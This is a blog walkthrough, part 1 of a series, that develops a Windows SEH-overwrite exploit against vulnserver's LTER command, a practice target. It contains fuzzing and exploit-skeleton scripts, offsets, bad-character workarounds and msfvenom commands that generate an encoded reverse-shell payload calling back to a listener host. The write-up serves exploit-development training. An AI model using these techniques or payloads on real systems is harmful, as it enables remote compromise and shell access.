Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Vulnserver LTER – Extreme SEH Overwrite (Part 1)

I know this one took a bit longer, but I’ve finally finished up my Vulnserver LTER write-up.

Vulnserver LTER – Introduction

If you have not been following along, I’m slowly writing all the exploits for vulnserver.

This one will be a two-part write-up for the LTER command’s SEH overwrite. I ran into more than a few problems, and ended up with a really interesting exploit in the end.

Fuzzing

First, I used the same fuzzing template as the last few exploits.

from boofuzz import *

host = "192.168.5.96"
port = 9999

def main():
    session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp')))

    s_initialize("Request")

    s_string("LTER", fuzzable = False)
    s_delim(" ", fuzzable = False, name = 'space-1')
    s_string("fuzzme")

    session.connect(s_get("Request"))
    session.fuzz()

if __name__ == "__main__":
    main()

Within a few seconds, the application crashed.

root@kali:~/vulnserver/lter# python lter_fuzz.py
[2019-02-13 10:21:54,744] Test Case: 1: Request.no-name.1
[2019-02-13 10:21:54,746]     Info: Type: String. Default value: 'fuzzme'. Case 1 of 1441 overall.
[2019-02-13 10:21:54,747]     Info: Opening target connection (192.168.5.96:9999)...
[2019-02-13 10:21:54,751]     Info: Connection opened.
[2019-02-13 10:21:54,751]   Test Step: Fuzzing Node 'Request'
[2019-02-13 10:21:54,771]     Transmitting 5 bytes: 4c 54 45 52 20 'LTER '
[2019-02-13 10:21:54,773]     Info: 5 bytes sent
[2019-02-13 10:21:54,774]     Info: Closing target connection...
[2019-02-13 10:21:54,775]     Info: Connection closed.
[2019-02-13 10:21:54,775]   Test Step: Sleep between tests.
[2019-02-13 10:21:54,778]     Info: sleeping for 0.000000 seconds
[2019-02-13 10:21:54,786] Test Case: 2: Request.no-name.2
[2019-02-13 10:21:54,787]     Info: Type: String. Default value: 'fuzzme'. Case 2 of 1441 overall.
[2019-02-13 10:21:54,788]     Info: Opening target connection (192.168.5.96:9999)...
[2019-02-13 10:21:54,790]     Info: Connection opened.
[2019-02-13 10:21:54,791]   Test Step: Fuzzing Node 'Request'
[2019-02-13 10:21:54,796]     Transmitting 5011 bytes: 4c 54 45 52 20 2f 2e 3a 2f 41 41 ... 41 41 00 00 'LTER /.:/AA...AA\x00\x00'

As you can see, the application crashed, but I only had control of ECX, EDX, and EBP.

Vulnserver LTER SEH - Crash

I had no control of EIP, as you can tell from the access violation.

Vulnserver LTER SEH - Access Violation

That said, I had control over the SEH chain when I took a look at that.

Vulnserver LTER SEH - SEH Overwrite

Vulnserver LTER – SEH Overwrite

With an SEH overwrite verified, I updated my exploit skeleton.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.5.96"
port = 9999

buffer = "A" * 5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

print s.recv(1024)

print "[+] Sending exploit..."

s.send("LTER /.:/" + buffer)

print s.recv(1024)

s.close()

First, I sent this payload to the application, to verify that it would still crash.

root@kali:~/vulnserver/lter# python lter_seh_reverse.py
Welcome to Vulnerable Server! Enter HELP for help.

[+] Sending exploit...
Traceback (most recent call last):
  File "lter_seh_reverse.py", line 27, in 
    print s.recv(1024)
socket.error: [Errno 104] Connection reset by peer

As you can see, SEH control still occurred without the fuzzer.

Vulnserver LTER SEH - SEH Chain

Next, I generated a pattern of 5000 characters using Metasploit.

root@kali:~/vulnserver/lter# msf-pattern_create -l 5000

When I sent my pattern, I received different values in my SEH chain.

Vulnserver LTER SEH - Pattern SEH

Using msf-pattern_offset, I was able to get the offsets for SEH and nSEH.

root@kali:~/vulnserver/lter# msf-pattern_offset -l 5000 -q 45336e45
[*] Exact match at offset 3519
root@kali:~/vulnserver/lter# msf-pattern_offset -l 5000 -q 326e4531
[*] Exact match at offset 3515

I updated my payload with the new offsets, to verify that they were correct.

padding = "A" * 3515
nSeh = "BBBB"
seh = "CCCC"
extra = "D" * (length - (len(padding) + len(nSeh) + len(seh)))

As you can see, the offsets were correct, and I had complete control of the SEH chain.

Vulnserver LTER SEH - Offsets

Next, it was time to use mona to find a POP, POP, RET gadget.

Vulnserver LTER SEH - Mona SEH

Unfortunately, when I sent this address to the application, it got slightly corrupted.

Vulnserver LTER SEH - Bad Gadget

Bad Characters

First, I figured I needed to check for bad characters. To do this, I added my simple for loop to my payload.

for i in range(1, 256):
    buffer += chr(i)

As you can see from the following screenshot, every value higher than 7F was having 7F subtracted from it. This explains the B4 in my gadget address being modified.

Vulnserver LTER SEH - Bad Characters

Vulnserver LTER – POP, POP, RET and Conditional Jump

Running ‘!mona seh’ again, I looked for an address that would work (marked as ascii or asciiprint).

Vulnserver LTER SEH - Mona SEH (Again)

In this case, I selected the gadget at 0x6250160a. When I updated my payload, my application crashed, and I hit my breakpoint.

Vulnserver LTER SEH - Breakpoint

When I hit Shift+F9 to pass the exception to my program, I hit my POP/POP/RET gadget.

Vulnserver LTER SEH - POP POP RET

As expected, after my POP/POP/RET, I ended up in my next SEH pointer, which was still 0x42424242.

Vulnserver LTER SEH - Next SEH

Normally, I’d use a short jump (EB 06) to jump over the gadget address, and continue execution. Unfortunately, I could not use an EB, due to the previously discovered bad characters.

In this case, I decided to use the conditional JNE instruction. This will only jump if the zero flag is not set, so I incremented EDI twice before calling this as well. With that in mind, this is how my next SEH payload now looked.

# 0:  47                      inc    edi
# 1:  47                      inc    edi
# 2:  75 06                   jne    0x8
# JNE 0x08 = jump 8 bytes over nSeh and seh
nSeh = "\x47\x47\x75\x06"

Before the jump, my execution flow was as described.

Vulnserver LTER SEH - Before SEH Jump

After the jump, I ended up in my free buffer space as expected!

Vulnserver LTER SEH - After SEH Jump

Problems Arise – More Bad Characters

With my jump in place, I generated a reverse shell payload.

root@kali:~/vulnserver/lter# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.97 LPORT=4444 -f py -e x86/alpha_mixed -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of py file: 3400 bytes

Unfortunately, even with the alpha_mixed encoder, the first seven bytes (\x89\xe1\xd9\xed\xd9\x71\xf4) contain some bad characters. The payload uses these to find the payload’s absolute address in memory.

Vulnserver LTER SEH - Bad Encoding

That said, the encoder also has an optional BufferRegister parameter, if you already know where in memory the payload is.

In this case, the ESP register was pointing to the beginning of my payload, so I decided to use that. Next, I regenerated my payload with the new parameter.

root@kali:~/vulnserver/lter# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.97 LPORT=4444 -f py -e x86/alpha_mixed -b '\x00' BufferRegister=ESP

Vulnserver LTER – Conclusion (For Now)

This write-up will be a longer one, so I wanted to break it into two parts.

The next post will have even more debugging, and one or two more issues.

Finally, once it is complete, you can find Part 2 here!

2 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.